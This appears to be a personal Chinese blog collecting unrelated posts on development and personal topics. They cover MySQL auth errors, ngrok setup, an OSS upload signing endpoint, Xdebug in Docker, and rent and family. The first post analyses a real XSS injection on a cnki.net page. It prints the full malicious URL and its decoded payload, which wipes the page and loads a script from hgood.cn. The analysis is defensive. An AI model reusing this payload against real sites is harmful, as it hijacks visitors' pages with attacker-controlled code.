知网被植入H5

今天在微信群出现一个关于华为的H5,借着热门话题赚流量,点了一下发现果然有问题,最后弹出来的是不太好的网页。

简单分析了一下网址:

http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=%22%2C%29%3B%7DsetTimeout%28atob%28%27ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7%27%29%2C0%29%3Bfunction%20postc%28%29%20%7B%2F%2F%26name%3D

竟然是知网的域名,按说知网不至于干这个,多半是被植入了。再看里面有一个function,基本上可以判断是url参数被js调用时没有检验,被挂了js代码进去。把URL做一个DECODE,结果如下:

http://medmap.cnki.net/refbook/AddComment.aspx?type=0&isadd=0&bid=”,);}setTimeout(atob(‘ZG9jdW1lbnQuYm9keS5pbm5lckhUTUwgPSAnJztkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpKS5zcmM9Jy8vaGdvb2QuY24vZCc7’),0);function postc() {//&name=

这就看到了setTimeout定时器,里面的atob是base64解码,解码结果如下:

document.body.innerHTML = ”;document.head.appendChild(document.createElement(‘script’)).src=’//hgood.cn/d’;

好了,hgood.cn,这就是目标。干坏事的是它,栽赃到知网。

把这个结果告诉知网以后,发现,植入内容也变了。

Laravel 框架 MySQL 运行报错: PDOStatement::execute (): MySQL server has gone away?

项目什么都没动,突然发现无法连远程的数据库了,只能连本地的,折腾了半天,连本地的都连不上了,简直像遇到了奇异事件。

用java程序连了一下,默认连不上,需要把usessl设为false,但是php对应的sslmode设为disable并不起作用。

尝试修改wait_timeout和connect_timeout也都无效,只是让等待的时间更长了。

直到在老同事刘明的提醒下,去查看laravel的日志,发现了这么一句:Unexpected server respose while doing caching_sha2 auth

于是,按这个问题去搜索,找到了https://www.cnblogs.com/qichao123/p/9719470.html

进到mysql,通过SELECT user,host,plugin FROM mysql.user;

确认我用的当前用户没问题,是mysql_native_password,于是继续配置my.cnf中的mysqld,添加:

default_authentication_plugin=mysql_native_password

回来测试成功。

部署自己的ngrok1.7服务

非常感谢https://hteen.cn/docker/docker-ngrok.html

我的服务器是ubuntu,首先登录服务器,依次运行以下命令:

docker pull hteen/ngrok
mkdir /root/ngrok
docker run --rm -it -e DOMAIN='tunnel.yourdomain.cn' -v /root/ngrok:/myfiles hteen/ngrok /bin/sh /build.sh
docker run -idt --name ngrok-server -v /root/ngrok:/myfiles -p 8082:80 -p 4432:443 -p 4443:4443  -e DOMAIN='tunnel.yourdomain.cn' hteen/ngrok /bin/sh /server.sh

运行结果显示一个token
这样,在服务器的/root/ngrok目录下则有
bin/ngrokd 服务端
bin/ngrok linux客户端
bin/darwin_amd64/ngrok osx客户端
bin/windows_amd64/ngrok.exe windows客户端
还要增加一个nginx的站点配置,转发请求


server {
listen 80;
server_name tunnel.yourdomain.cn *.tunnel.yourdomain.cn;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://serverlocalip:8082;
}
}
server {
listen 443;
server_name tunnel.yourdomain.cn *.tunnel.yourdomain.cn;
location / {
proxy_redirect off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://serverlocalip:4432;
}
}

在本地电脑执行命令,下载对应的客户端,我的是mac,所以:
scp -i meixi.pem root@yourip:/root/ngrok/bin/darwin_amd64/ngrok ~/ngrok
然后在本地创建ngrok.yml文件,并填入以下内容:


server_addr: "tunnel.yourdomain.cn:4443"
trust_host_root_certs:false
tunnels:
weixin:
proto:
http:8080
subdomain:"wx"
api:
proto:
http:80
subdomain:"api"

然后在本地执行
~/ngrok –config=ngrok.yml start weixin api
就启动了。

房租涨了,不要只怪中介

先说一下体会的来源,我是airbnb的超赞房东,先后经营三套房子,有自己的,也有朋友的,做airbnb的初衷很简单,房子是精装修,也很新,长租出去折旧很厉害,不划算,短租的话虽然麻烦,但可以保持房子的品质,相对长租,也可以有一些额外的收益。

简单算个账,一个一居的房子装修费在十万左右,包括硬装、软装、家具电器等。如果是自住,折旧周期可以按十年算,如果长租出去,恐怕最多只能按五年算。这样的话,平摊到每个月,就是至少一千元的差别。这还不考虑加上了折旧的房子后面的租金上升空间有限甚至降低。

就北京来说,当老旧的房子越来越少,新的房子越来越多,流动人口减少,稳定人口增加,对好房子需求也越来越多的情况下,吸引更多精装修的高端房源入市,但同时,这些房源对折旧的预期是很高的,一居室每个月要加上一千多的折旧,两居室就要加三四千。

那么,如何才能降低房东的折旧预期,以更低的价格租到好房子呢?那就是建立自己的信用,比如在airbnb上获得更多的好评,爱护你租的房子,无论是长住还是短租。实际上,对房子的爱惜,将降低总的成本,这个成本最终都是由房客自己承担的。

市场欢迎更好的房客,请尊重市场规律,请尊重自己,提高自己的生活品味,让每个房子都受到妥善的对待。

苟利国家生子以,岂因福祸避孕之

标题是最近网络未流行已被禁的一条改编版名言。

我的第二个孩子即将在10月出生,关于他的出现,我们几乎没有太多的纠结,尽管也明白因他而带来的更多的付出,但一个生机勃勃的家更加有吸引力。当然,就目前情况而言,第三个孩子的可能性是比较小了。

网络上有很多关于计划生育走向的传言,我们也曾经是限制二胎政策的遇难者,可是,作为个人而言,似乎没有太多的选择,也没有有效的抗争渠道,最有用的则是尽力保持家庭的生存能力。

新的生命总是无法预料,不断带来惊喜和挑战。在解决一个个问题的过程中,我们老去,直到因为死亡率百分之百的生命这个病而离世。(最后这句来自网络)我们依然还是期望着更加美好,而不断为之努力。

 

使用iview的upload组件上传阿里oss的参数设置

下面是组件设置:

<Upload action="http://public.files.dpexpo.cn"
ref="upload"
:show-upload-list="false"
accept=".pdf"
:format="['pdf']"
:on-success="uploadSuccess"
:data="uploadParams"
:max-size="102400"
:before-upload="handleBeforeUpload">
<Buttontype="ghost"
icon="ios-cloud-upload-outline">Upload pdf</Button>
</Upload>
以下是相关的js方法:

handleBeforeUpload(file) {
letthat=this;
return new Promise(function(resolve, reject) {
that.getUploadParams().then(function() {
that.$Notice.warning({
title:'文件准备上传',
desc:'文件 '+file.name+' 准备上传。',
duration:3
});
resolve();
});
});
},
getUploadParams() {
varthat=this;
return new Promise(function(resolve, reject) {
that.$http// 在此方法中调用后台数据
.get('/ossParams', {
params: {
dir:
'slide/conference/'+
that.$route.query.conference_id+
'/'
}
})
.then(function(response) {
console.log(response);
that.uploadParams=JSON.parse(response.data.data);
console.log(that.uploadParams);
resolve();
})
.catch(function(error) {
console.log(error);
});
});
},
uploadSuccess(evnet, file) {
console.log(file);
this.$Notice.success({
title:'文件上传成功',
desc:'文件 '+file.name+' 上传成功。',
duration:3
});
this.formValidate.slide_url=
'http://public.files.dpexpo.cn/slide/conference/'+
this.$route.query.conference_id+
'/'+
file.name;
},

以下是发放参数的api方法(laravel):

public function ossParams(Request $request)
{
$id = 'LTA(your id)V1E';
$key = '4M5nIHs(your key)IelsW';
$host = 'http://public.files.dpexpo.cn';
$now = time();
$expire = 30; //设置该policy超时时间是10s. 即这个policy过了这个有效时间,将不能访问
$end = $now + $expire;
$expiration = $this->gmt_iso8601($end);
$dir = $request->dir ? $request->dir : 'user-dir/';
//最大文件大小.用户可以自己设置
$condition = array(0 => 'content-length-range', 1 => 0, 2 => 1048576000);
$conditions[] = $condition;
//表示用户上传的数据,必须是以$dir开始, 不然上传会失败,这一步不是必须项,只是为了安全起见,防止用户通过policy上传到别人的目录
$start = array(0 => 'starts-with', 1 => '$key', 2 => $dir);
$conditions[] = $start;
$arr = array('expiration' => $expiration, 'conditions' => $conditions);
//echo json_encode($arr);
//return;
$policy = json_encode($arr);
$base64_policy = base64_encode($policy);
$string_to_sign = $base64_policy;
$signature = base64_encode(hash_hmac('sha1', $string_to_sign, $key, true));
$response = array();
//$response['host'] = $host;
$response['key'] = $dir.'${filename}';
$response['policy'] = $base64_policy;
$response['OSSAccessKeyId'] = $id;
$response['Signature'] = $signature;
$response['expire'] = $end;
//这个参数是设置用户上传指定的前缀
//$response['dir'] = $dir;
$token = json_encode($response);
return$this->response->array(['data' => $token]);
}

Visual Studio Code中使用Docker中的Xdebug

开发环境说明

IDE:Visual Studio Code

DNMP:https://github.com/yeszao/dnmp

项目:laravel

开启xdebug

修改dnmp/php/php72/Dockerfile,添加以下两行(插在带\的任一一行后面即可,查看dockerfile编写规范):

&& pecl install xdebug \
&& docker-php-ext-enable xdebug \
修改dnmp/config/php.ini,在文件末尾添加以下内容:
[xdebug]
zend_extension=xdebug.so
xdebug.remote_port=9000
xdebug.remote_enable=1
xdebug.remote_host=192.168.0.102
xdebug.remote_autostart=1
xdebug.remote_log="/var/log/dnmp/xdebug.log"

其中192.168.0.102就是你的电脑的IP,也就是docker宿主机的IP,docker的端口都挂到宿主机IP上。xdebug默认是localhost,不改就访问不到了。也不要打开

xdebug.remote_connect_back=1,这会使得remote_host配置失效。
在vscode中安装PHP Debug插件,在调试选项卡中打开齿轮配置,即当前项目的.vscode/launch.json,对照以下内容配置:

{
// 使用 IntelliSense 了解相关属性。
// 悬停以查看现有属性的描述。
// 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
"version": "0.2.0",
"configurations": [
{
"name": "Listen for XDebug",
"type": "php",
"request": "launch",
"port": 9000,
"pathMappings":{
"/var/www/html": "${workspaceRoot}"
}
},
{
"name": "Launch currently open script",
"type": "php",
"request": "launch",
"program": "${file}",
"cwd": "${fileDirname}",
"port": 9000
}
]
}
其中,/var/www/html是你在dnmp/www中的site的位置,如果有子目录则填到子目录级别,这里的pathMappings是最新的写法。
在dnmp目录启动:docker-compose up
在vscode按F5启动调试,记得打上断点,祝你成功。
如果已经生成过容器,则需要删除容器,删除镜像。重新生成dnmp-php命令如下:
docker rm dnmp-php
docker rmi dnmp_php
docker-compose up

Error starting userland proxy: mkdir /port/tcp:0.0.0.0:3306:tcp:172.19.0.3:3306: input/output error

在windows10/win10上使用dnmp:https://www.awaimai.com/2120.html

首先需要安装docker环境:https://download.docker.com/win/stable/Docker%20for%20Windows%20Installer.exe

装完以后在dnmp目录执行docker-compose up,启动失败,报错如标题,需要修改win10的快速启动设置,然后重启。修改方法见:https://www.tenforums.com/tutorials/4189-turn-off-fast-startup-windows-10-a.html